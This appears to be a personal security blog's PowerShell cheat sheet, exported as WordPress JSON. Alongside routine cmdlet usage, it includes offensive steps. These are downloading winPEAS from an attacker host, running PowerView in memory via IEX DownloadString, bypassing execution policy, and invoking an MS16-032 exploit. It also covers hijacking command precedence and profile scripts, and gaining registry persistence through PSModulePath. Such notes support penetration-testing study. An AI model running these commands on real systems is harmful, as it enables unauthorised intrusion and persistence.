{"id":689,"date":"2020-02-19T20:33:38","date_gmt":"2020-02-19T19:33:38","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=689"},"modified":"2024-09-08T16:22:02","modified_gmt":"2024-09-08T14:22:02","slug":"powershell","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=689","title":{"rendered":"PowerShell"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Pow\u00ader\u00adshell Cmdlets con\u00adsist out of <em>Verb-Metho<\/em>d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To search for a method, type<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-Command New-U*<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">To see all attrib\u00adut\u00ades for a Cmdlet, type<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-LocalUser | Get-Member<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">To see spe\u00adcif\u00adic or non-default attrib\u00adut\u00ades,&nbsp;type<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-LocalUser | Select-Object -Property Name,PasswordRequired<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use <code>Get-Help $cmdlet<\/code> to get the man page about&nbsp;it.<\/li>\n\n\n\n<li>Add \u2011WhatIf to any com\u00admand to see what it would&nbsp;do.<\/li>\n\n\n\n<li>To see all attrib\u00adut\u00ades, pipe a com\u00admand through format-list&nbsp;*&nbsp;<ul class=\"wp-block-list\">\n<li>ps | format-list&nbsp;*<\/li>\n\n\n\n<li>dir |&nbsp;fl&nbsp;*<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The ForE\u00adach Com\u00adman\u00addLet % is very useful:&nbsp;<ul class=\"wp-block-list\">\n<li>ps | % { Write-Host \u201c<span class=\"caps\">PID<\/span> = \u201d $_.<span class=\"caps\">ID<\/span> }<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The Where CommandLet&nbsp;?:&nbsp;<ul class=\"wp-block-list\">\n<li>get-ser\u00advice | ? { $_.status \u2011eq \u201crun\u00adning\u201d }<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Direc\u00adto\u00adry listing:&nbsp;<ul class=\"wp-block-list\">\n<li>get-childitem \u2011recurse $dir<\/li>\n\n\n\n<li>ls \u2011r $dir<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Select only some columns:&nbsp;<ul class=\"wp-block-list\">\n<li>ps | select id<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Find a file on the filesys\u00adtem with a substring:&nbsp;<ul class=\"wp-block-list\">\n<li>ls \u2011r $dir ass\u00adword | % { echo $_.fullname }<\/li>\n\n\n\n<li>ls \u2011r $dir ass\u00adword 2&gt;$null | % { echo $_.fullname } \/\/ ignores stan\u00addard errors<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Show all envi\u00adron\u00adment variables:&nbsp;<ul class=\"wp-block-list\">\n<li>ls vari\u00adable:<\/li>\n\n\n\n<li>echo $var\u00adname<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Grep through files:&nbsp;<ul class=\"wp-block-list\">\n<li>select-string \u2011path C:\\Users\\*.* \u2011pat\u00adtern ass\u00adword 2&gt;$null<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Ping sweep:\n<ul class=\"wp-block-list\">\n<li>1..225 | % { echo \u201c10.10.10.$_\u201d; ping \u2011n 1 \u2011w 100 10.10.10.$_ | select-string ttl&nbsp;}<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Pag\u00adi\u00adna\u00adtion:\n<ul class=\"wp-block-list\">\n<li>ls \u2011r | Out-Host \u2011pag\u00ading<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Out\u00adput is too&nbsp;large?&nbsp;<ul class=\"wp-block-list\">\n<li><code>(...) | Out-File -FilePath C:\\Temp\\a.txt<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Examples<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Directories and&nbsp;files<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Get all files in the cur\u00adrent directory.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Get all files in the cur\u00adrent direc\u00adto\u00adry and&nbsp;below.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem -Recurse<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Get all files in the cur\u00adrent direc\u00adto\u00adry and below and also hid\u00adden and sys\u00adtem&nbsp;files.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem -Recurse -System -Hidden<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Search for files with a&nbsp;name:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem -Recurse -ErrorAction SilentlyContinue -Filter \"flag.txt\"<br>Get-ChildItem -Recurse -ErrorAction SilentlyContinue -System -Hidden | Select-Object Name, Mode | Where-Object -Property Name -like *abc*<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Select only the File\u00adname and Mode column.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem -Recurse -ErrorAction SilentlyContinue -System -Hidden | Select-Object Name, Mode<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Fil\u00adter only for files which con\u00adtains&nbsp;abc:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Select-String -Path \"C:\\path\\to\\directory*\" -Pattern \"abs\" -Recurse<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Search for inter\u00adest\u00ading suffixes:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem -Path C:\\Users\\nadine\\ -Include <em>.txt,<\/em>.pdf,<em>.xls,<\/em>.xlsx,<em>.doc,<\/em>.docx -File -Recurse -ErrorAction SilentlyContinue<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Sort alpha\u00adbet\u00adi\u00adcal\u00adly<\/p>\n\n\n\n<pre id=\"block-df342ea2-618c-49f1-b6f2-70b71919e572\" class=\"wp-block-preformatted\">Get-ChildItem -Recurse -ErrorAction SilentlyContinue -System -Hidden | Select-Object Name, Mode | Where-Object -Property Name -like *abc* | Sort-Object<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Count how many files are&nbsp;found<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">(...).count<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Network requests<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Per\u00adform a get request:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Invoke-WebRequest $url<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Down\u00adload&nbsp;files<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">iwr -uri http:\/\/$attacker\/winPEASx64.exe -Outfile winPEAS.exe<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Privilege escalation<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Run a com\u00admend as oth\u00ader&nbsp;user:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">runas \/user:albert cmd<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Various<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Encode<\/em> a file to base64<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">[Convert]::ToBase64String([IO.File]::ReadAllBytes('Desktop\\b64.txt'))<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Get the Pow\u00ader\u00adShell history<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-History<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Get the path where the his\u00adto\u00adry file is stored (usu\u00adal\u00adly in the <code>APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt<\/code> direc\u00adto\u00adry of the&nbsp;user)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">(Get-PSReadlineOption).HistorySavePath<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Command manipulation \/ filtering<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Get only lines from the out\u00adput which have&nbsp;abc:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Your-Command | Where-Object { $_ -match 'abc' }<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Get only lines from the out\u00adput which does not have&nbsp;abc:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Your-Command | Where-Object { $_ -notmatch 'abc' }<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Execute<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">From a&nbsp;file:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">powershell -exec bypass\nImport-Module .\\file.ps1<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">(After this, call the func\u00adtion to exe\u00adcute&nbsp;it.)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Direct\u00adly:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">powershell -exec bypass -File file.ps1<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Oth\u00ader method<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">powershell -exec bypass -command - &lt; c:\\mypath\\myscript.ps1<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Oth\u00ader method<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">%SystemRoot%\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy ByPass -command \"&amp; { . C:\\Users\\kostas\\Desktop\\39719.ps1; Invoke-MS16-032 }\"<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In meter\u00adpreter<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">meterpreter &gt; execute -f \"powershell -command \\\" get-netfirewallrule -all \\\"\" -i<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Changing the ExecutionPolicy<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The exe\u00adcu\u00adtion pol\u00adi\u00adcy can be set sys\u00adtem-wide or for the cur\u00adrent user. List\u00ading the pol\u00adi\u00adcy&nbsp;state:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ExecutionPolicy -Scope CurrentUser<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Set\u00adting to unrestricted:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Show users<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-LocalUser<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show net\u00adwork addressess<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-NetIPAddress<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show process\u00ades<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-Process<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show infor\u00adma\u00adtion about a (exe\u00adcute\u00adable?) file<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ItemProperty -Path \"C:\\..\\miiserver.exe\" | Format-list -Property * -Force<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Find only&nbsp;files<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ChildItem -Recurse -File<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Registry access<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The reg\u00adistry can be used as dri\u00adve and inter\u00adact&nbsp;with.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">PS&gt; cd HKLM:<br>PS&gt; Get-ChildItem<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Loading <span class=\"caps\">PS<\/span> scripts into the memory<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With this method, no file has to down\u00adloaded on the system.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Pro\u00advide the Pow\u00ader\u00adShell script via a <span class=\"caps\">HTTP<\/span> server.<\/li>\n\n\n\n<li>In Pow\u00ader\u00adShell, down\u00adload and import it <pre>PS&gt; IEX (New-Object System.Net.WebClient).DownloadString('http:\/\/192.168.119.158:8081\/PowerView.ps1')<\/pre> <\/li>\n\n\n\n<li>The mod\u00adule can now be&nbsp;used.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Obfuscate<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Use <a href=\"https:\/\/github.com\/tokyoneon\/Chimera\">Chimera<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">On Linux<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Use <a href=\"https:\/\/github.com\/PowerShell\/PowerShell\/releases\/\">https:\/\/github.com\/PowerShell\/PowerShell\/releases\/<\/a> and install it some\u00adwhere. Now, use the <strong>pwsh<\/strong> command.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploiting PowerShell<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If some\u00adthing was typed in, Win\u00addows tries the fol\u00adlow\u00adings things in order. Try to rede\u00adfine some\u00adthing high up in the hier\u00adachy so that oth\u00ader tasks\/systems\/admins which are using these things, per\u00adform also oth\u00ader actions.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Doskey alias<\/li>\n\n\n\n<li>Alias<\/li>\n\n\n\n<li>Func\u00adtion<\/li>\n\n\n\n<li>Cmdlet<\/li>\n\n\n\n<li>Exe\u00adcutable<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">To gain infor\u00adma\u00adtion from exist\u00ading scripts on the sys\u00adtem, look into the fol\u00adlow\u00ading&nbsp;paths.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>C:\\scripts<\/code><\/li>\n\n\n\n<li><code>$HOME\\Documents\\WindowsPowerShell<\/code><\/li>\n\n\n\n<li><code>$PSHOME<\/code><\/li>\n\n\n\n<li><code>C:\\Windows\\System32\\WindowsPowerShell\\...\\<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The fol\u00adlow\u00ading <span class=\"caps\">PS<\/span> files are auto\u00admat\u00adi\u00adcal\u00adly exe\u00adcut\u00aded when a user starts <span class=\"caps\">PS<\/span>. Check if these files exists or if you can cre\u00adate one at one location.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>$HOME\\Documents\\WindowsPowerShell\\Profile.ps1<\/code><\/li>\n\n\n\n<li><code>$HOME\\Documents\\Profile.ps1<\/code><\/li>\n\n\n\n<li><code>$PSHOME\\Microsoft.PowerShell_profile.ps1<\/code><\/li>\n\n\n\n<li><code>$PSHOME\\Profile.ps1<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">To archieve per\u00adsis\u00adtence you can add a path your con\u00adtrol to the $PSMod\u00adulePath envi\u00adron\u00adment vari\u00adable. This could also be a share on which you have access. The fol\u00adlow\u00ading is tak\u00aden from <span class=\"caps\">SEC660<\/span> 2.2.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$origpaths = (Get-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\SessionManager\\Environmet\" -Name PSModulePath).PSModulePath<br>$newPath = $origpaths + \";C:\\Users\\...\\OneDrive\\PowerShell\\\"<br>Set-ItemProperty -Path \"Registry::HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\Environmet\" -Name PSModulePath -Value $newPath<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Pow\u00ader\u00adshell Cmdlets con\u00adsist out of Verb-Method. To search for a method, type Get-Com\u00admand New\u2011U* To see all attrib\u00adut\u00ades for a Cmdlet, type Get-LocalUser | Get-Mem\u00adber To see spe\u00adcif\u00adic or non-default attrib\u00adut\u00ades,&nbsp;type Get-LocalUser | Select-Object \u2011Prop\u00ader\u00adty Name,PasswordRequired Exam\u00adples Direc\u00adto\u00adries and&nbsp;files Get all files in the cur\u00adrent direc\u00adto\u00adry. Get-ChildItem Get all files in the cur\u00adrent direc\u00adto\u00adry and&nbsp;below.&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[468],"tags":[183,24],"class_list":["post-689","post","type-post","status-publish","format-standard","hentry","category-general","tag-powershell","tag-windows"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/689","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=689"}],"version-history":[{"count":45,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/689\/revisions"}],"predecessor-version":[{"id":4332,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/689\/revisions\/4332"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=689"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=689"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=689"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}